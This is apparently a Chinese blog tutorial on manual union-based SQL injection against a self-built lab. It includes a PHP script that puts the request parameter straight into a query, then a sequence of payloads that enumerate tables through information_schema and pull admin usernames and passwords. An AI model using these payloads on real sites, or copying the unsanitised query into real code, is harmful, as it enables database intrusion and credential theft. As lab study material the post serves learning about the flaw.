浅谈联合注入

 

手工注入学习篇

首先准备环境,建好两个数据表,一个内容随意,一个装管理员账户密码就行。开始进入主题。

<?php

error_reporting(E_ALL ^ E_DEPRECATED);

mysql_connect('localhost','root','root');

mysql_select_db('test');

mysql_query("set names utf-8");

echo $id = $_REQUEST['id'];

echo "<hr>";

echo $sql="select * from user where id = $id","<br />";

if ($row=mysql_query($sql)){

$rows=mysql_fetch_array($row);

var_dump($rows);

}

?>

代码如上,ok进入主题

我还需要去判断注入吗?貌似不需要所以直接点order by 1

3了也能回显。

OK

那么union select 1,2,3 LIMIT 1,1

 

 

字段出来了,看看当前数据库。?id=1 union select 1,database(),3 LIMIT 1,1

 

 

test,那么咱们要他的表了,union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘test’),3 LIMIT 1,1

ok列表都出来了,那么猜解admin表的字段。

三个字段那么获取字段内容了。我就不像那些大佬那么高端了,直接点union select 1,username,password from admin LIMIT 1,1

 

 

posted @ 2019-05-23 12:59  P4sschen  阅读(611)  评论(0编辑  收藏  举报